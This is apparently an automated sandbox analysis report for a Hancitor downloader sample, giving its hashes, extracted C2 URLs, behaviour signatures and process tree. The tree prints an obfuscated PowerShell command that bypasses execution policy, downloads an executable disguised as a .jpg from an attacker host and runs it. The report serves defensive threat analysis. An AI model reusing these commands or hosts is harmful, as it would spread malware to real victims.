hancitor | 73b8c566d8cdf3200daa0b698b9d32a49b1ea8284a1e6aa6408eb9c9daaacb71

Analysis

max time kernel
49s
max time network
127s
platform
windows10_x64
resource
win10v20210410
submitted
08/07/2021, 14:29

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General

Target
0708_5482401363.xll.dll
Size 23KB
Sample210708-mhtjk3x786
SHA256 73b8c566d8cdf3200daa0b698b9d32a49b1ea8284a1e6aa6408eb9c9daaacb71
MD5 41e0318dfdb1c180a375a7efc712649e
SHA1 f0c230010c7b85544c25879d4daf74479360e1bc
SHA512 b20ec32ba9f7269deda4f70e655bb7a105dde896524bfd9c788605f2a0a26bc3bc7ddceed93c4f7b14404a65107647a9b9840c8adec32c12d92138b69805cc17
MD5 SHA1 SHA512

Score

10^/10

hancitor 0707in2_wvcr downloader

Malware Config

Extracted

Family

hancitor

Botnet

0707in2_wvcr

http://sudepallon.com/8/forum.php
http://anspossthrly.ru/8/forum.php
http://thentabecon.ru/8/forum.php

Signatures

Hancitor
Hancitor is downloader used to deliver other malware families.
downloader hancitor

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 4028 created 4928	4028	WerFault.exe	76

Blocklisted process makes network request 2 IoCs

flow	pid	Process
7	4456	rundll32.exe
15	1732	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
1892	snd32sys.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
20	api.ipify.org

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 2 IoCs

pid	pid_target	Process	procid_target
3188	4928	WerFault.exe	76
4028	4928	WerFault.exe	76

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings	rundll32.exe

Suspicious behavior: EnumeratesProcesses 23 IoCs

pid	Process
3188	WerFault.exe
3188	WerFault.exe
3188	WerFault.exe
3188	WerFault.exe
3188	WerFault.exe
3188	WerFault.exe
3188	WerFault.exe
3188	WerFault.exe
3188	WerFault.exe
3188	WerFault.exe
3188	WerFault.exe
3188	WerFault.exe
3188	WerFault.exe
3188	WerFault.exe
3188	WerFault.exe
3144	powershell.exe
3144	powershell.exe
3144	powershell.exe
1732	powershell.exe
1732	powershell.exe
1732	powershell.exe
1892	snd32sys.exe
1892	snd32sys.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeRestorePrivilege	3188	WerFault.exe
Token: SeBackupPrivilege	3188	WerFault.exe
Token: SeDebugPrivilege	3188	WerFault.exe
Token: SeDebugPrivilege	3144	powershell.exe
Token: SeDebugPrivilege	1732	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4440 wrote to memory of 4456	4440	rundll32.exe	69
PID 4440 wrote to memory of 4456	4440	rundll32.exe	69
PID 4440 wrote to memory of 4456	4440	rundll32.exe	69
PID 4456 wrote to memory of 4928	4456	rundll32.exe	76
PID 4456 wrote to memory of 4928	4456	rundll32.exe	76
PID 4456 wrote to memory of 4928	4456	rundll32.exe	76
PID 4928 wrote to memory of 3144	4928	mshta.exe	79
PID 4928 wrote to memory of 3144	4928	mshta.exe	79
PID 4928 wrote to memory of 3144	4928	mshta.exe	79
PID 3144 wrote to memory of 1732	3144	powershell.exe	83
PID 3144 wrote to memory of 1732	3144	powershell.exe	83
PID 3144 wrote to memory of 1732	3144	powershell.exe	83
PID 3144 wrote to memory of 1892	3144	powershell.exe	86
PID 3144 wrote to memory of 1892	3144	powershell.exe	86
PID 3144 wrote to memory of 1892	3144	powershell.exe	86

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\0708_5482401363.xll.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:4440
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\0708_5482401363.xll.dll,#1
  2⤵
  - Blocklisted process makes network request
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:4456
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Public\res32.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4928
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" poWerSHEll.eXE -EX bYpASs -NOp -w 1 WGeT 'http://srand04rf.ru/08.jpg ' -OuTfIle 'c:\Users\Public\snd32sys.exe' ; sTart 'c:\Users\Public\snd32sys.exe'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3144
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bYpASs -NOp -w 1 WGeT "http://srand04rf.ru/08.jpg " -OuTfIle c:\Users\Public\snd32sys.exe
        5⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1732
    - - C:\Users\Public\snd32sys.exe
        
        "C:\Users\Public\snd32sys.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:1892
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4928 -s 1352
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3188
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4928 -s 1272
      4⤵
      Suspicious use of NtCreateProcessExOtherParentProcess
      Program crash
      PID:4028

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1732-136-0x00000000071D0000-0x00000000071D1000-memory.dmp

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memory/1732-153-0x00000000071D3000-0x00000000071D4000-memory.dmp

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memory/1732-150-0x00000000095E0000-0x00000000095E1000-memory.dmp

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memory/1732-149-0x000000000A030000-0x000000000A031000-memory.dmp

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memory/1732-137-0x00000000071D2000-0x00000000071D3000-memory.dmp

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memory/1892-175-0x0000000000690000-0x0000000000691000-memory.dmp

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memory/1892-174-0x0000000000CD0000-0x0000000000CDA000-memory.dmp

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memory/3144-128-0x0000000008110000-0x0000000008111000-memory.dmp

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memory/3144-162-0x0000000009E70000-0x0000000009E71000-memory.dmp

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memory/3144-123-0x0000000004F32000-0x0000000004F33000-memory.dmp

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memory/3144-129-0x00000000089C0000-0x00000000089C1000-memory.dmp

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memory/3144-122-0x0000000004F30000-0x0000000004F31000-memory.dmp

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memory/3144-127-0x00000000081E0000-0x00000000081E1000-memory.dmp

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memory/3144-126-0x0000000007880000-0x0000000007881000-memory.dmp

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memory/3144-159-0x0000000009840000-0x0000000009841000-memory.dmp

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memory/3144-161-0x00000000095B0000-0x00000000095B1000-memory.dmp

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memory/3144-130-0x0000000008850000-0x0000000008851000-memory.dmp

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memory/3144-121-0x0000000007900000-0x0000000007901000-memory.dmp

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memory/3144-125-0x00000000080A0000-0x00000000080A1000-memory.dmp

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memory/3144-120-0x0000000004D60000-0x0000000004D61000-memory.dmp

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memory/3144-124-0x00000000077D0000-0x00000000077D1000-memory.dmp

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memory/3144-173-0x0000000004F33000-0x0000000004F34000-memory.dmp

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